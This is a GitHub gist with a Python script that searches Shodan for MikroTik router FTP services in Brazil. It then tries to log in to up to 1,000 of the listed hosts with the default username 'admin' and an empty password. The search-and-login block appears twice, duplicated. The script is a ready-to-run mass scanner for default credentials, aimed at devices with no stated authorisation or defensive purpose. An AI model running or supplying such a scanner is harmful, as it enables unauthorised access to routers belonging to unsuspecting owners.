Skip to content

Instantly share code, notes, and snippets.

@jimywork
Last active November 16, 2019 22:37
Show Gist options
  • Save jimywork/5111dc52c185ed68f7a81ee1f1837a6d to your computer and use it in GitHub Desktop.
Save jimywork/5111dc52c185ed68f7a81ee1f1837a6d to your computer and use it in GitHub Desktop.
import ftplib
import shodan
creds = ('admin', '')
api = shodan.Shodan("TOKEN")
results = api.search('port:"21" country:"BR" product:"MikroTik router ftpd"', page=1, limit=1000, offset=None)
print("[+] Connected Succesfull on Shodan API\n[+] Shodan Search Found: {}\n".format(results["total"]))
for i, hosts in enumerate(results['matches']):
ipaddress = hosts['ip_str']
try :
ftp = ftplib.FTP(ipaddress, *creds)
ftp.login()
print(ftp.login())
except ftplib.error_perm as error:
print(error)
results = api.search('port:"21" country:"BR" product:"MikroTik router ftpd"', page=1, limit=1000, offset=None)
print("[+] Connected Succesfull on Shodan API\n[+] Shodan Search Found: {}\n".format(results["total"]))
for i, hosts in enumerate(results['matches']):
ipaddress = hosts['ip_str']
try :
ftp = ftplib.FTP(ipaddress, *creds)
ftp.login()
print(ftp.login())
except ftplib.error_perm as error:
print(error)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment